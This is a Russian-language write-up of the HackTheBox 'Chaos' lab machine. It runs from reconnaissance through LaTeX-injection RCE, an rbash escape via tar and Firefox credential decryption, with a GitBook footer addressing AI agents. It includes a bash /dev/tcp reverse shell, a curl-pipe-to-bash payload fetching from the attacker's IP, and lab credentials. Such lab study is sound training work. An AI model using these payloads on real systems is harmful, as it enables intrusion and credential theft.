> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Разбор HackTheBox Chaos Разбор машины Chaos HackTheBox Medium на Linux, охватывающий подбор пароля, злоупотребление почтовым сервисом (claws-mail), криптозадачу (расшифровка секретного сообщения — AES-шифрование), инъекцию LaTeX (RCE), с пр {% embed url="" %} {% hint style="warning" %} **Навыки:** * Подбор пароля * Злоупотребление почтовым сервисом (claws-mail) * Криптозадача (расшифровать секретное сообщение — зашифровано AES) * LaTeX-инъекция (RCE) * Обход rbash (ограниченный Bash) * Извлечение учетных данных из профиля Firefox {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**Анализ открытых портов с ExtractPorts (**80.110,143.993.995,10000) Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

**Сканирование версий портов с помощью Nmap:** Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **Эксплуатация** #### **Порт 80 — перечисление веб-ресурсов** Прямой доступ по IP заблокирован. Поэтому мы добавляем `chaos.htb` домен в `/etc/hosts`.

#### **Перебор каталогов** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Результатов нет.

**Перебор по IP-адресу :** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Мы находим папку `/wp` что указывает на WordPress.

Добавляем `wordpress.chaos.htb` поддомен к `/etc/hosts`.

### **Перечисление WordPress**

Мы находим `Human` пользователь в WordPress.

### **Подбор пароля** В статье WordPress содержится пароль. Мы проверяем `Human` и он работает.

Мы находим учетные данные для веб-почты: * **имя пользователя**: ayush * **пароль**: jiujitsu ## **Порты 993/995 — веб-почта** Порт 993 указывает на IMAP-почтовый сервер.

Мы используем `claws-mail` для доступа к почтовому ящику Ayush. ```bash claws-mail ```

В письме мы находим два вложенных файла и сообщение: > Привет, Sahay > > Проверь файл enmsg.txt. Ты — пароль XD. Я также приложил скрипт, который использовал для шифрования. Спасибо.

## **Расшифровать секретное сообщение — зашифровано AES**

Мы обнаружили `decrypt.py` скрипт на GitHub, который принадлежит тому же проекту

{% embed url="" %} #### При выполнении: ```bash python3 decrypt.py Введите имя файла: ./enim_msg.txt Введите пароль: sahay ``` Содержимое декодируется с помощью `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` Сообщение раскрывает службу LaTeX на `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **Привет, Sahay,** > > Пожалуйста, обнаружь наш новый сервис, который создает PDF. > > P.S. — Как ты мне посоветовал, я зашифровал важное сообщение. > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **Блокирующие механизмы** > > Спасибо, **Ayush** > > Спасибо, Ayush

## **Уязвимость LaTeX-инъекции** ### Инъекция LaTeX (чтение файла)

Мы перехватываем запрос

#### Документ PDF LaTeX:

Мы внедряем: ```latex /input{/etc/passwd} /include{password} ```

### **Эксплуатация RCE в LaTeX** Мы выполняем `id` команду через: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

#### **Обратная оболочка** Мы слушаем порт 443: ```bash nc -nvlp 443 ``` Мы создаём `index.html` bash-скрипт: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Мы запускаем веб-сервер: ```bash python3 -m http.server 80 ``` Внедрение полезной нагрузки: ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

## **Повышение привилегий** ### **Переключение на пользователя Ayush — обход rbash** Мы подключаемся как Ayush, но ограничены `rbash` оболочкой.

Список доступных команд: ```bash compgen -c ``` Мы находим `tar` и обходим `rbash` с:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### Флаг user.txt :) Мы получаем доступ к полноценной оболочке и восстанавливаем `файл user.txt`.

## **Извлечение учетных данных Firefox** В `.mozilla` в папке Ayush мы находим `key4.db` и `logins.json`.

Мы переносим их на нашу машину:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

Расшифровка ID с помощью `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` Мы вводим `jiujitsu` в качестве основного пароля и получаем:

> Основной пароль для профиля chaos.htb:8080/bzo7sjt1.default > > Веб-сайт: > > Имя пользователя: 'root' Пароль: 'Thiv8wrej/\~ Подключение к root:

### Флаг root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.